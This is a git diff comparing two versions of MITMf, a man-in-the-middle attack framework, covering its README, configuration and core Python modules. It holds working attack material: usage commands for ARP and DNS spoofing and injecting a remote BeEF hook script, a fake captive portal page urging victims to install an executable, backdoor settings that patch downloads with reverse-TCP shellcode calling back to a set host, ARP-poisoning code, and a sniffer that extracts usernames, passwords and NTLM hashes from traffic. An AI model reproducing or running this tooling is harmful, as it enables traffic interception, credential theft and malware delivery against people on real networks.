Compare commits

..

No commits in common. "master" and "v0.9.8" have entirely different histories.

43 changed files with 269 additions and 633 deletions

View file

@ -1,8 +0,0 @@
[run]
branch = True
[report]
include = *core*, *libs*, *plugins*
exclude_lines =
pragma: nocover
pragma: no cover

4
.gitignore vendored
View file

@ -57,7 +57,3 @@ docs/_build/
# PyBuilder # PyBuilder
target/ target/
# OSX Stuff
.DS_Store
._.DS_Store

View file

@ -1,27 +1,11 @@
language: python language: python
python: python:
- "2.7" - "2.7"
sudo: required
addons: before_install:
apt: - "ifconfig"
packages: - "sudo apt-get update -qq"
- libpcap0.8-dev - "sudo apt-get install tcpdump libpcap0.8-dev libnetfilter-queue-dev libssl-dev"
- libnetfilter-queue-dev
- libssl-dev
notifications:
irc:
channels:
- "irc.freenode.org#MITMf"
template:
- "%{repository}#%{build_number} (%{branch} - %{commit} - %{commit_subject} : %{author}): %{message}"
skip_join: true
use_notice: true
install: "pip install -r requirements.txt" install: "pip install -r requirements.txt"
before_script: script: nosetests
- "pip install python-coveralls"
script:
- "nosetests --with-cov"
after_success:
- coveralls

39
README.md Executable file → Normal file
View file

@ -3,14 +3,11 @@
![Supported OS](https://img.shields.io/badge/Supported%20OS-Linux-yellow.svg) ![Supported OS](https://img.shields.io/badge/Supported%20OS-Linux-yellow.svg)
[![Code Climate](https://codeclimate.com/github/byt3bl33d3r/MITMf/badges/gpa.svg)](https://codeclimate.com/github/byt3bl33d3r/MITMf) [![Code Climate](https://codeclimate.com/github/byt3bl33d3r/MITMf/badges/gpa.svg)](https://codeclimate.com/github/byt3bl33d3r/MITMf)
[![Build Status](https://travis-ci.org/byt3bl33d3r/MITMf.svg)](https://travis-ci.org/byt3bl33d3r/MITMf) [![Build Status](https://travis-ci.org/byt3bl33d3r/MITMf.svg)](https://travis-ci.org/byt3bl33d3r/MITMf)
[![Coverage Status](https://coveralls.io/repos/byt3bl33d3r/MITMf/badge.svg?branch=master&service=github)](https://coveralls.io/github/byt3bl33d3r/MITMf?branch=master)
#MITMf #MITMf
Framework for Man-In-The-Middle attacks Framework for Man-In-The-Middle attacks
**This project is no longer being updated. MITMf was written to address the need, at the time, of a modern tool for performing Man-In-The-Middle attacks. Since then many other tools have been created to fill this space, you should probably be using [Bettercap](https://github.com/bettercap/bettercap) as it is far more feature complete and better maintained.**
Quick tutorials, examples and developer updates at: https://byt3bl33d3r.github.io Quick tutorials, examples and developer updates at: https://byt3bl33d3r.github.io
This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project. This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project.
@ -18,7 +15,7 @@ This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-prox
Contact me at: Contact me at:
- Twitter: @byt3bl33d3r - Twitter: @byt3bl33d3r
- IRC on Freenode: #MITMf - IRC on Freenode: #MITMf
- Email: byt3bl33d3r@protonmail.com - Email: byt3bl33d3r@gmail.com
**Before submitting issues, please read the relevant [section](https://github.com/byt3bl33d3r/MITMf/wiki/Reporting-a-bug) in the wiki .** **Before submitting issues, please read the relevant [section](https://github.com/byt3bl33d3r/MITMf/wiki/Reporting-a-bug) in the wiki .**
@ -114,26 +111,6 @@ Inject a JS script:
```python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js``` ```python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js```
Start a captive portal that redirects everything to http://SERVER/PATH:
```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH```
Start captive portal at http://your-ip/portal.html using default page /portal.html (thx responder) and /CaptiveClient.exe (not included) from the config/captive folder:
```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive```
Same as above but with hostname captive.portal instead of IP (requires captive.portal to resolve to your IP, e.g. via DNS spoof):
```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns```
Serve a captive portal with an additional SimpleHTTPServer instance serving the LOCALDIR at http://IP:8080 (change port in mitmf.config):
```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR```
Same as above but with hostname:
```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns```
And much much more! And much much more!
Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..) Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..)
@ -150,22 +127,12 @@ For a complete list of available options, just run ```python mitmf.py --help```
- **Spoof** : Redirect traffic using ARP, ICMP, DHCP or DNS spoofing - **Spoof** : Redirect traffic using ARP, ICMP, DHCP or DNS spoofing
- **BeEFAutorun** : Autoruns BeEF modules based on a client's OS or browser type - **BeEFAutorun** : Autoruns BeEF modules based on a client's OS or browser type
- **AppCachePoison** : Performs HTML5 App-Cache poisoning attacks - **AppCachePoison** : Performs HTML5 App-Cache poisoning attacks
- **Ferret-NG** : Transparently hijacks client sessions - **Ferret-NG** : Transperently hijacks client sessions
- **BrowserProfiler** : Attempts to enumerate all browser plugins of connected clients - **BrowserProfiler** : Attempts to enumerate all browser plugins of connected clients
- **FilePwn** : Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy - **FilePwn** : Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy
- **Inject** : Inject arbitrary content into HTML content - **Inject** : Inject arbitrary content into HTML content
- **BrowserSniper** : Performs drive-by attacks on clients with out-of-date browser plugins - **BrowserSniper** : Performs drive-by attacks on clients with out-of-date browser plugins
- **JSkeylogger** : Injects a Javascript keylogger into a client's webpages - **JSkeylogger** : Injects a Javascript keylogger into a client's webpages
- **Replace** : Replace arbitrary content in HTML content - **Replace** : Replace arbitary content in HTML content
- **SMBAuth** : Evoke SMB challenge-response authentication attempts - **SMBAuth** : Evoke SMB challenge-response authentication attempts
- **Upsidedownternet** : Flips images 180 degrees - **Upsidedownternet** : Flips images 180 degrees
- **Captive** : Creates a captive portal, redirecting HTTP requests using 302
# How to fund my tea & sushi reserve
BTC: 1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU
ETH: 0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee
LTC: LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr

View file

@ -1,31 +0,0 @@
<html>
<head>
<title>Captive Portal</title>
<style>
<!--
body, ul, li { font-family:Arial, Helvetica, sans-serif; font-size:14px; color:#737373; margin:0; padding:0;}
.content { padding: 20px 15px 15px 40px; width: 500px; margin: 70px auto 6px auto; border: #D52B1E solid 2px;}
.blocking { border-top: #D52B1E solid 2px; border-bottom: #D52B1E solid 2px;}
.title { font-size: 24px; border-bottom: #ccc solid 1px; padding-bottom:15px; margin-bottom:15px;}
.details li { list-style: none; padding: 4px 0;}
.footer { color: #6d90e7; font-size: 14px; width: 540px; margin: 0 auto; text-align:right; }
-->
</style>
</head>
<body>
<center>
<div class="content blocking">
<div class="title" id="msg_title"><b>Client Required</b></div>
<ul class="details">
<div id="main_block">
<div id="msg_long_reason">
<li><b>Access has been blocked. Please download and install the new </b><span class="url"><a href="CaptiveClient.exe"><b>Captive Portal Client</b></a></span><b> in order to access internet resources.</b></li>
</div>
</ul>
</div>
<div class="footer">ISA Security <b>Captive Server</b></div>
</center>
</body>
</html>

19
config/mitmf.conf Executable file → Normal file
View file

@ -38,7 +38,6 @@
[[[A]]] # Queries for IPv4 address records [[[A]]] # Queries for IPv4 address records
*.thesprawl.org=192.168.178.27 *.thesprawl.org=192.168.178.27
*.captive.portal=192.168.1.100
[[[AAAA]]] # Queries for IPv6 address records [[[AAAA]]] # Queries for IPv6 address records
*.thesprawl.org=2001:db8::1 *.thesprawl.org=2001:db8::1
@ -76,19 +75,11 @@
# #
# Plugin configuration starts here # Plugin configuration starts here
# #
[Captive]
# Set Server Port and string if we are serving our own portal from SimpleHTTPServer (80 is already used by default server)
Port = 8080
ServerString = "Captive Server 1.0"
# Set the filename served as /CaptivePortal.exe by integrated http server
PayloadFilename = config/captive/calc.exe
[Replace] [Replace]
[[Regex1]] [[Regex1]]
'Google Search' = '44CON' 'Google Search' = 'Google yssas'
[[Regex2]] [[Regex2]]
"I'm Feeling Lucky" = "I'm Feeling Something In My Pants" "I'm Feeling Lucky" = "I'm Feeling Something In My Pants"
@ -98,7 +89,7 @@
# Here you can specify the client to hijack sessions from # Here you can specify the client to hijack sessions from
# #
Client = '10.0.237.91' Client = '192.168.1.26'
[SSLstrip+] [SSLstrip+]
@ -454,10 +445,10 @@
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
# PATCH_METHOD overwrites PATCH_TYPE, use automatic, replace, or onionduke # PATCH_METHOD overwrites PATCH_TYPE, use automatic, replace, or onionduke
PATCH_METHOD = automatic PATCH_METHOD = automatic
HOST = 192.168.20.79 HOST = 192.168.1.16
PORT = 8090 PORT = 8090
# SHELL for use with automatic PATCH_METHOD # SHELL for use with automatic PATCH_METHOD
SHELL = iat_reverse_tcp_stager_threaded SHELL = iat_reverse_tcp_inline_threaded
# SUPPLIED_SHELLCODE for use with a user_supplied_shellcode payload # SUPPLIED_SHELLCODE for use with a user_supplied_shellcode payload
SUPPLIED_SHELLCODE = None SUPPLIED_SHELLCODE = None
ZERO_CERT = True ZERO_CERT = True
@ -512,7 +503,7 @@
LinuxType = None LinuxType = None
WindowsType = ALL WindowsType = ALL
CompressedFiles = False CompressedFiles = False
#inherits WindowsIntelx86 from ALL #inherits WindowsIntelx32 from ALL
[[[[WindowsIntelx86]]]] [[[[WindowsIntelx86]]]]
PATCH_DLL = False PATCH_DLL = False
ZERO_CERT = True ZERO_CERT = True

View file

@ -65,18 +65,6 @@ banner4 = """
""" """
banner5 = """
@@@@@@@@@@ @@@ @@@@@@@ @@@@@@@@@@ @@@@@@@@
@@@@@@@@@@@ @@@ @@@@@@@ @@@@@@@@@@@ @@@@@@@@
@@! @@! @@! @@! @@! @@! @@! @@! @@!
!@! !@! !@! !@! !@! !@! !@! !@! !@!
@!! !!@ @!@ !!@ @!! @!! !!@ @!@ @!!!:!
!@! ! !@! !!! !!! !@! ! !@! !!!!!:
!!: !!: !!: !!: !!: !!: !!:
:!: :!: :!: :!: :!: :!: :!:
::: :: :: :: ::: :: ::
: : : : : : :
"""
def get_banner(): def get_banner():
return random.choice([banner1, banner2, banner3, banner4, banner5]) banners = [banner1, banner2, banner3, banner4]
return random.choice(banners)

View file

@ -342,12 +342,6 @@ class Session(object):
logs.append(Log(log)) logs.append(Log(log))
return logs return logs
def update(self, options={}):
headers = {"Content-Type": "application/json", "charset": "UTF-8"}
payload = json.dumps(options)
r = requests.post("{}/hooks/update/{}?token={}".format(self.url, self.session, self.token), headers=headers, data=payload)
return r.json()
def run(self, module_id, options={}): def run(self, module_id, options={}):
headers = {"Content-Type": "application/json", "charset": "UTF-8"} headers = {"Content-Type": "application/json", "charset": "UTF-8"}
payload = json.dumps(options) payload = json.dumps(options)

View file

@ -21,7 +21,7 @@ import pyinotify
import threading import threading
from configobj import ConfigObj from configobj import ConfigObj
class ConfigWatcher(pyinotify.ProcessEvent, object): class ConfigWatcher(pyinotify.ProcessEvent):
@property @property
def config(self): def config(self):

View file

@ -110,7 +110,7 @@ class ServerConnection(HTTPClient):
self.isCompressed = True self.isCompressed = True
elif (key.lower()== 'strict-transport-security'): elif (key.lower()== 'strict-transport-security'):
log.debug("[ServerConnection] Zapped a strict-transport-security header") log.debug("[ServerConnection] Zapped a strict-trasport-security header")
elif (key.lower() == 'content-length'): elif (key.lower() == 'content-length'):
self.contentLength = value self.contentLength = value

View file

@ -75,13 +75,13 @@ class mitmfapi(ConfigWatcher):
if status == "1": if status == "1":
for p in ProxyPlugins().all_plugins: for p in ProxyPlugins().all_plugins:
if (p.name == plugin) and (p not in ProxyPlugins().plugin_list): if (p.name == plugin) and (p not in ProxyPlugins().plugin_list):
ProxyPlugins().add_plugin(p) ProxyPlugins().addPlugin(p)
return json.dumps({"plugin": plugin, "response": "success"}) return json.dumps({"plugin": plugin, "response": "success"})
elif status == "0": elif status == "0":
for p in ProxyPlugins().plugin_list: for p in ProxyPlugins().plugin_list:
if p.name == plugin: if p.name == plugin:
ProxyPlugins().remove_plugin(p) ProxyPlugins().removePlugin(p)
return json.dumps({"plugin": plugin, "response": "success"}) return json.dumps({"plugin": plugin, "response": "success"})
return json.dumps({"plugin": plugin, "response": "failed"}) return json.dumps({"plugin": plugin, "response": "failed"})

View file

@ -41,8 +41,6 @@ NTLMSSP3_re = 'NTLMSSP\x00\x03\x00\x00\x00.+'
# Prone to false+ but prefer that to false- # Prone to false+ but prefer that to false-
http_search_re = '((search|query|&q|\?q|search\?p|searchterm|keywords|keyword|command|terms|keys|question|kwd|searchPhrase)=([^&][^&]*))' http_search_re = '((search|query|&q|\?q|search\?p|searchterm|keywords|keyword|command|terms|keys|question|kwd|searchPhrase)=([^&][^&]*))'
parsing_pcap = False
class NetCreds: class NetCreds:
version = "1.0" version = "1.0"
@ -53,65 +51,16 @@ class NetCreds:
except Exception as e: except Exception as e:
if "Interrupted system call" in e: pass if "Interrupted system call" in e: pass
def start(self, interface, ip): def start(self, interface, ip, pcap):
if pcap:
for pkt in PcapReader(pcap):
pkt_parser(pkt)
sys.exit()
else:
t = threading.Thread(name='NetCreds', target=self.sniffer, args=(interface, ip,)) t = threading.Thread(name='NetCreds', target=self.sniffer, args=(interface, ip,))
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()
def parse_pcap(self, pcap):
parsing_pcap=True
for pkt in PcapReader(pcap):
pkt_parser(pkt)
sys.exit()
def frag_remover(ack, load):
'''
Keep the FILO OrderedDict of frag loads from getting too large
3 points of limit:
Number of ip_ports < 50
Number of acks per ip:port < 25
Number of chars in load < 5000
'''
global pkt_frag_loads
# Keep the number of IP:port mappings below 50
# last=False pops the oldest item rather than the latest
while len(pkt_frag_loads) > 50:
pkt_frag_loads.popitem(last=False)
# Loop through a deep copy dict but modify the original dict
copy_pkt_frag_loads = copy.deepcopy(pkt_frag_loads)
for ip_port in copy_pkt_frag_loads:
if len(copy_pkt_frag_loads[ip_port]) > 0:
# Keep 25 ack:load's per ip:port
while len(copy_pkt_frag_loads[ip_port]) > 25:
pkt_frag_loads[ip_port].popitem(last=False)
# Recopy the new dict to prevent KeyErrors for modifying dict in loop
copy_pkt_frag_loads = copy.deepcopy(pkt_frag_loads)
for ip_port in copy_pkt_frag_loads:
# Keep the load less than 75,000 chars
for ack in copy_pkt_frag_loads[ip_port]:
# If load > 5000 chars, just keep the last 200 chars
if len(copy_pkt_frag_loads[ip_port][ack]) > 5000:
pkt_frag_loads[ip_port][ack] = pkt_frag_loads[ip_port][ack][-200:]
def frag_joiner(ack, src_ip_port, load):
'''
Keep a store of previous fragments in an OrderedDict named pkt_frag_loads
'''
for ip_port in pkt_frag_loads:
if src_ip_port == ip_port:
if ack in pkt_frag_loads[src_ip_port]:
# Make pkt_frag_loads[src_ip_port][ack] = full load
old_load = pkt_frag_loads[src_ip_port][ack]
concat_load = old_load + load
return OrderedDict([(ack, concat_load)])
return OrderedDict([(ack, load)])
def pkt_parser(pkt): def pkt_parser(pkt):
''' '''
Start parsing packets here Start parsing packets here
@ -178,7 +127,53 @@ def pkt_parser(pkt):
telnet_logins(src_ip_port, dst_ip_port, load, ack, seq) telnet_logins(src_ip_port, dst_ip_port, load, ack, seq)
# HTTP and other protocols that run on TCP + a raw load # HTTP and other protocols that run on TCP + a raw load
other_parser(src_ip_port, dst_ip_port, full_load, ack, seq, pkt, True) other_parser(src_ip_port, dst_ip_port, full_load, ack, seq, pkt)
def frag_remover(ack, load):
'''
Keep the FILO OrderedDict of frag loads from getting too large
3 points of limit:
Number of ip_ports < 50
Number of acks per ip:port < 25
Number of chars in load < 5000
'''
global pkt_frag_loads
# Keep the number of IP:port mappings below 50
# last=False pops the oldest item rather than the latest
while len(pkt_frag_loads) > 50:
pkt_frag_loads.popitem(last=False)
# Loop through a deep copy dict but modify the original dict
copy_pkt_frag_loads = copy.deepcopy(pkt_frag_loads)
for ip_port in copy_pkt_frag_loads:
if len(copy_pkt_frag_loads[ip_port]) > 0:
# Keep 25 ack:load's per ip:port
while len(copy_pkt_frag_loads[ip_port]) > 25:
pkt_frag_loads[ip_port].popitem(last=False)
# Recopy the new dict to prevent KeyErrors for modifying dict in loop
copy_pkt_frag_loads = copy.deepcopy(pkt_frag_loads)
for ip_port in copy_pkt_frag_loads:
# Keep the load less than 75,000 chars
for ack in copy_pkt_frag_loads[ip_port]:
# If load > 5000 chars, just keep the last 200 chars
if len(copy_pkt_frag_loads[ip_port][ack]) > 5000:
pkt_frag_loads[ip_port][ack] = pkt_frag_loads[ip_port][ack][-200:]
def frag_joiner(ack, src_ip_port, load):
'''
Keep a store of previous fragments in an OrderedDict named pkt_frag_loads
'''
for ip_port in pkt_frag_loads:
if src_ip_port == ip_port:
if ack in pkt_frag_loads[src_ip_port]:
# Make pkt_frag_loads[src_ip_port][ack] = full load
old_load = pkt_frag_loads[src_ip_port][ack]
concat_load = old_load + load
return OrderedDict([(ack, concat_load)])
return OrderedDict([(ack, load)])
def telnet_logins(src_ip_port, dst_ip_port, load, ack, seq): def telnet_logins(src_ip_port, dst_ip_port, load, ack, seq):
''' '''
@ -535,7 +530,7 @@ def irc_logins(full_load, pkt):
msg = 'IRC pass: %s' % pass_search2.group(1) msg = 'IRC pass: %s' % pass_search2.group(1)
return msg return msg
def other_parser(src_ip_port, dst_ip_port, full_load, ack, seq, pkt, verbose): def other_parser(src_ip_port, dst_ip_port, full_load, ack, seq, pkt):
''' '''
Pull out pertinent info from the parsed HTTP packet data Pull out pertinent info from the parsed HTTP packet data
''' '''
@ -550,51 +545,44 @@ def other_parser(src_ip_port, dst_ip_port, full_load, ack, seq, pkt, verbose):
else: else:
host = '' host = ''
if parsing_pcap is True: #if http_line != None:
# method, path = parse_http_line(http_line, http_methods)
if http_line != None: # http_url_req = get_http_url(method, host, path, headers)
method, path = parse_http_line(http_line, http_methods) #if http_url_req != None:
http_url_req = get_http_url(method, host, path, headers) #printer(src_ip_port, None, http_url_req)
if http_url_req != None:
if verbose == False:
if len(http_url_req) > 98:
http_url_req = http_url_req[:99] + '...'
printer(src_ip_port, None, http_url_req)
# Print search terms # Print search terms
searched = get_http_searches(http_url_req, body, host) searched = get_http_searches(http_url_req, body, host)
if searched: if searched:
printer(src_ip_port, dst_ip_port, searched) printer(src_ip_port, dst_ip_port, searched)
#We dont need this cause its being taking care of by the proxy
#Print user/pwds #Print user/pwds
if body != '': #if body != '':
user_passwd = get_login_pass(body) # user_passwd = get_login_pass(body)
if user_passwd != None: # if user_passwd != None:
try: # try:
http_user = user_passwd[0].decode('utf8') # http_user = user_passwd[0].decode('utf8')
http_pass = user_passwd[1].decode('utf8') # http_pass = user_passwd[1].decode('utf8')
# Set a limit on how long they can be prevent false+ # # Set a limit on how long they can be prevent false+
if len(http_user) > 75 or len(http_pass) > 75: # if len(http_user) > 75 or len(http_pass) > 75:
return # return
user_msg = 'HTTP username: %s' % http_user # user_msg = 'HTTP username: %s' % http_user
printer(src_ip_port, dst_ip_port, user_msg) # printer(src_ip_port, dst_ip_port, user_msg)
pass_msg = 'HTTP password: %s' % http_pass # pass_msg = 'HTTP password: %s' % http_pass
printer(src_ip_port, dst_ip_port, pass_msg) # printer(src_ip_port, dst_ip_port, pass_msg)
except UnicodeDecodeError: # except UnicodeDecodeError:
pass # pass
# Print POST loads # Print POST loads
# ocsp is a common SSL post load that's never interesting # ocsp is a common SSL post load that's never interesting
if method == 'POST' and 'ocsp.' not in host: #if method == 'POST' and 'ocsp.' not in host:
try: # try:
if verbose == False and len(body) > 99: # msg = 'POST load: %s' % body.encode('utf8')
# If it can't decode to utf8 we're probably not interested in it # printer(src_ip_port, None, msg)
msg = 'POST load: %s...' % body[:99].encode('utf8') # except UnicodeDecodeError:
else: # pass
msg = 'POST load: %s' % body.encode('utf8')
printer(src_ip_port, None, msg)
except UnicodeDecodeError:
pass
# Kerberos over TCP # Kerberos over TCP
decoded = Decode_Ip_Packet(str(pkt)[14:]) decoded = Decode_Ip_Packet(str(pkt)[14:])
@ -674,10 +662,7 @@ def parse_basic_auth(src_ip_port, dst_ip_port, headers, authorization_header):
b64_auth_re = re.match('basic (.+)', header_val, re.IGNORECASE) b64_auth_re = re.match('basic (.+)', header_val, re.IGNORECASE)
if b64_auth_re != None: if b64_auth_re != None:
basic_auth_b64 = b64_auth_re.group(1) basic_auth_b64 = b64_auth_re.group(1)
try:
basic_auth_creds = base64.decodestring(basic_auth_b64) basic_auth_creds = base64.decodestring(basic_auth_b64)
except Exception:
return
msg = 'Basic Authentication: %s' % basic_auth_creds msg = 'Basic Authentication: %s' % basic_auth_creds
printer(src_ip_port, dst_ip_port, msg) printer(src_ip_port, dst_ip_port, msg)
@ -728,13 +713,15 @@ def headers_to_dict(header_lines):
Convert the list of header lines into a dictionary Convert the list of header lines into a dictionary
''' '''
headers = {} headers = {}
for line in header_lines: # Incomprehensible list comprehension flattens list of headers
lineList=line.split(': ', 1) # that are each split at ': '
key=lineList[0].lower() # http://stackoverflow.com/a/406296
if len(lineList)>1: headers_list = [x for line in header_lines for x in line.split(': ', 1)]
headers[key]=lineList[1] headers_dict = dict(zip(headers_list[0::2], headers_list[1::2]))
else: # Make the header key (like "Content-Length") lowercase
headers[key]="" for header in headers_dict:
headers[header.lower()] = headers_dict[header]
return headers return headers
def parse_http_line(http_line, http_methods): def parse_http_line(http_line, http_methods):
@ -807,12 +794,9 @@ def parse_netntlm_chal(headers, chal_header, ack):
header_val2 = header_val2.split(' ', 1) header_val2 = header_val2.split(' ', 1)
# The header value can either start with NTLM or Negotiate # The header value can either start with NTLM or Negotiate
if header_val2[0] == 'NTLM' or header_val2[0] == 'Negotiate': if header_val2[0] == 'NTLM' or header_val2[0] == 'Negotiate':
try:
msg2 = header_val2[1] msg2 = header_val2[1]
except IndexError:
return
msg2 = base64.decodestring(msg2) msg2 = base64.decodestring(msg2)
parse_ntlm_chal(msg2, ack) parse_ntlm_chal(ack, msg2)
def parse_ntlm_chal(msg2, ack): def parse_ntlm_chal(msg2, ack):
''' '''
@ -901,10 +885,10 @@ def get_login_pass(body):
'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname', 'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname',
'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename', 'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename',
'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username', 'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username',
'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in', 'usuario'] 'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in']
passfields = ['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword', passfields = ['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword',
'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword', 'login_password' 'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword', 'login_password'
'passwort', 'passwrd', 'wppassword', 'upasswd','senha','contrasena'] 'passwort', 'passwrd', 'wppassword', 'upasswd']
for login in userfields: for login in userfields:
login_re = re.search('(%s=[^&]+)' % login, body, re.IGNORECASE) login_re = re.search('(%s=[^&]+)' % login, body, re.IGNORECASE)

View file

@ -1,3 +1,5 @@
import threading
from core.utils import set_ip_forwarding, iptables from core.utils import set_ip_forwarding, iptables
from core.logger import logger from core.logger import logger
from scapy.all import * from scapy.all import *
@ -17,20 +19,21 @@ class PacketFilter:
iptables().NFQUEUE() iptables().NFQUEUE()
self.nfqueue = NetfilterQueue() self.nfqueue = NetfilterQueue()
self.nfqueue.bind(0, self.modify) self.nfqueue.bind(1, self.modify)
self.nfqueue.run() t = threading.Thread(name='packetparser', target=self.nfqueue.run)
t.setDaemon(True)
t.start()
def modify(self, pkt): def modify(self, pkt):
#log.debug("Got packet") #log.debug("Got packet")
data = pkt.get_payload() data = pkt.get_payload()
packet = IP(data) packet = IP(data)
for filter in self.filter:
try: try:
execfile(filter) execfile(self.filter)
except Exception: except Exception:
log.debug("Error occurred in filter", filter) log.debug("Error occurred in filter")
print_exc() print_exc()
pkt.set_payload(str(packet)) #set the packet content to our modified version pkt.set_payload(str(packet)) #set the packet content to our modified version

View file

@ -214,8 +214,8 @@ class ARPpoisoner:
if targetmac is not None: if targetmac is not None:
try: try:
#log.debug("Poisoning {} <-> {}".format(targetip, self.gatewayip)) #log.debug("Poisoning {} <-> {}".format(targetip, self.gatewayip))
self.s2.send(Ether(src=self.mymac, dst=targetmac)/ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op=arpmode)) self.s.send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op=arpmode))
self.s2.send(Ether(src=self.mymac, dst=self.gatewaymac)/ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op=arpmode)) self.s.send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op=arpmode))
except Exception as e: except Exception as e:
if "Interrupted system call" not in e: if "Interrupted system call" not in e:
log.error("Exception occurred while poisoning {}: {}".format(targetip, e)) log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
@ -242,8 +242,8 @@ class ARPpoisoner:
log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count)) log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
try: try:
for i in range(0, count): for i in range(0, count):
self.s2.send(Ether(src=targetmac, dst='ff:ff:ff:ff:ff:ff')/ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac)) self.s.send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac))
self.s2.send(Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac)) self.s.send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac))
except Exception as e: except Exception as e:
if "Interrupted system call" not in e: if "Interrupted system call" not in e:
log.error("Exception occurred while poisoning {}: {}".format(targetip, e)) log.error("Exception occurred while poisoning {}: {}".format(targetip, e))

View file

@ -79,7 +79,7 @@ class DHCPpoisoner():
return 'stored', client_ip return 'stored', client_ip
net = IPNetwork(self.ip_address + '/24') net = IPNetwork(self.ip_address + '/24')
return 'generated', str(random.choice(list(net))) return 'generated', random.choice(list(net))
def dhcp_callback(self, resp): def dhcp_callback(self, resp):
if resp.haslayer(DHCP): if resp.haslayer(DHCP):

View file

@ -82,10 +82,7 @@ class ProxyPlugins:
self.plugin_list.remove(p) self.plugin_list.remove(p)
log.debug("Removing {} plugin".format(p.name)) log.debug("Removing {} plugin".format(p.name))
for mthd,pmthd in self.mthdDict.iteritems(): for mthd,pmthd in self.mthdDict.iteritems():
try: self.plugin_mthds[mthd].remove(p)
self.plugin_mthds[mthd].remove(getattr(p,pmthd))
except KeyError:
pass #nothing to remove
def hook(self): def hook(self):
'''Magic to hook various function calls in sslstrip''' '''Magic to hook various function calls in sslstrip'''
@ -111,7 +108,6 @@ class ProxyPlugins:
log.debug("hooking {}()".format(fname)) log.debug("hooking {}()".format(fname))
#calls any plugin that has this hook #calls any plugin that has this hook
try: try:
if self.plugin_mthds:
for f in self.plugin_mthds[fname]: for f in self.plugin_mthds[fname]:
a = f(**args) a = f(**args)
if a != None: args = a if a != None: args = a

View file

@ -48,12 +48,6 @@ from IPy import IP
formatter = logging.Formatter("%(asctime)s %(clientip)s [DNS] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") formatter = logging.Formatter("%(asctime)s %(clientip)s [DNS] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("DNSChef", formatter) log = logger().setup_logger("DNSChef", formatter)
dnslog = logging.getLogger('dnslog')
handler = logging.FileHandler('./logs/dns/dns.log',)
handler.setFormatter(formatter)
dnslog.addHandler(handler)
dnslog.setLevel(logging.INFO)
# DNSHandler Mixin. The class contains generic functions to parse DNS requests and # DNSHandler Mixin. The class contains generic functions to parse DNS requests and
# calculate an appropriate response based on user parameters. # calculate an appropriate response based on user parameters.
class DNSHandler(): class DNSHandler():
@ -75,7 +69,6 @@ class DNSHandler():
except Exception as e: except Exception as e:
log.info("Error: invalid DNS request", extra=clientip) log.info("Error: invalid DNS request", extra=clientip)
dnslog.info("Error: invalid DNS request", extra=clientip)
else: else:
# Only Process DNS Queries # Only Process DNS Queries
@ -120,7 +113,6 @@ class DNSHandler():
response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q) response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q)
log.info("Cooking the response of type '{}' for {} to {}".format(qtype, qname, fake_record), extra=clientip) log.info("Cooking the response of type '{}' for {} to {}".format(qtype, qname, fake_record), extra=clientip)
dnslog.info("Cooking the response of type '{}' for {} to {}".format(qtype, qname, fake_record), extra=clientip)
# IPv6 needs additional work before inclusion: # IPv6 needs additional work before inclusion:
